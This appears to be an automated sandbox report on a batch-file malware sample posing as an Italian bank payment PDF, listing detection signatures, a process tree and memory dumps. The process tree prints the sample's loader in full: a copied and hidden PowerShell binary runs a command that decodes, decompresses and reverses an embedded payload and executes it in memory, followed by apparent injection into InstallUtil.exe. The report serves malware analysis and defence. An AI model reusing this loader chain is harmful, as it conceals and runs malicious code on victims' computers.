Analysis
- max time kernel
147s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20250502-en - resource tags
- submitted
26/05/2025, 10:36
General
- Target Credem Banca _Copia di Pagamento.pdf.bat
- Size 4.2MB
- Sample250526-mnpy4sxtet
- SHA256 a19755474c76335eebca302002cb79c75dcd0a74ae057816a766f6d6ccc1dbbd
Malware Config
Signatures
- Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 23 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Credem Banca _Copia di Pagamento.pdf.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650012⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\Credem Banca _Copia di Pagamento.pdf.bat.Cep"2⤵
-
-
C:\Windows\system32\attrib.exeattrib +s +h "C:\Users\Admin\AppData\Local\Temp\Credem Banca _Copia di Pagamento.pdf.bat.Cep"2⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Users\Admin\AppData\Local\Temp\Credem Banca _Copia di Pagamento.pdf.bat.Cep"C:\Users\Admin\AppData\Local\Temp\Credem Banca _Copia di Pagamento.pdf.bat.Cep" -WindowStyle Hidden -Command "$Pkyxspfvgja = Get-Content -LiteralPath (Get-Item env:Coqbelpwf).Value | Select-Object -Last 1; $Calppnp = [Convert]::FromBase64String($Pkyxspfvgja); $Niafnnvqhs = New-Object IO.MemoryStream(, $Calppnp); $Gqwwr = New-Object IO.MemoryStream; $Escnqqgarn = New-Object IO.Compression.GzipStream($Niafnnvqhs, [IO.Compression.CompressionMode]::Decompress); $Escnqqgarn.CopyTo($Gqwwr); $Escnqqgarn.Close(); $Niafnnvqhs.Close(); [byte[]] $Calppnp = $Gqwwr.ToArray(); [Array]::Reverse($Calppnp); $Phnopemhktk = [System.AppDomain]::CurrentDomain.Load($Calppnp); $Toonht = $Phnopemhktk.EntryPoint; $Toonht.DeclaringType.InvokeMember($Toonht.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null) | Out-Null"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Credem Banca _Copia di Pagamento.pdf.bat.Cep
__PSScriptPolicyTest_r0odi4gi.xbh.ps1
memory/2440-5-0x000000007433E000-0x000000007433F000-memory.dmp
memory/2440-6-0x0000000002C50000-0x0000000002C86000-memory.dmp
memory/2440-8-0x00000000057C0000-0x0000000005DEA000-memory.dmp
memory/2440-7-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-9-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-10-0x00000000055C0000-0x00000000055E2000-memory.dmp
memory/2440-11-0x0000000005660000-0x00000000056C6000-memory.dmp
memory/2440-12-0x0000000005740000-0x00000000057A6000-memory.dmp
memory/2440-21-0x0000000005E30000-0x0000000006187000-memory.dmp
memory/2440-22-0x0000000006490000-0x00000000064AE000-memory.dmp
memory/2440-23-0x00000000064B0000-0x00000000064FC000-memory.dmp
memory/2440-24-0x0000000007470000-0x0000000007506000-memory.dmp
memory/2440-25-0x00000000069E0000-0x00000000069FA000-memory.dmp
memory/2440-26-0x0000000006A30000-0x0000000006A52000-memory.dmp
memory/2440-27-0x0000000007B00000-0x00000000080A6000-memory.dmp
memory/2440-28-0x0000000008730000-0x0000000008DAA000-memory.dmp
memory/2440-29-0x00000000075F0000-0x000000000792E000-memory.dmp
memory/2440-30-0x00000000080B0000-0x00000000083C2000-memory.dmp
memory/2440-31-0x00000000083C0000-0x0000000008452000-memory.dmp
memory/2440-41-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-43-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-49-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-59-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-79-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-85-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-83-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-81-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-77-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-75-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-73-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-71-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-69-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-67-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-65-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-63-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-61-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-57-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-55-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-53-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-51-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-45-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-47-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-39-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-37-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-35-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-33-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-32-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-95-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-93-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-91-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-89-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-87-0x00000000080B0000-0x00000000083BC000-memory.dmp
memory/2440-1193-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-1192-0x000000007433E000-0x000000007433F000-memory.dmp
memory/2440-1772-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6046-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6047-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6048-0x000000000AE00000-0x000000000AE98000-memory.dmp
memory/2440-6049-0x000000000AEA0000-0x000000000AF34000-memory.dmp
memory/2440-6050-0x0000000005310000-0x000000000535C000-memory.dmp
memory/2440-6051-0x000000000AF40000-0x000000000AF94000-memory.dmp
memory/2440-6054-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6056-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6060-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6063-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6072-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6069-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6066-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6085-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6091-0x0000000074330000-0x0000000074AE1000-memory.dmp
memory/2440-6092-0x0000000074330000-0x0000000074AE1000-memory.dmp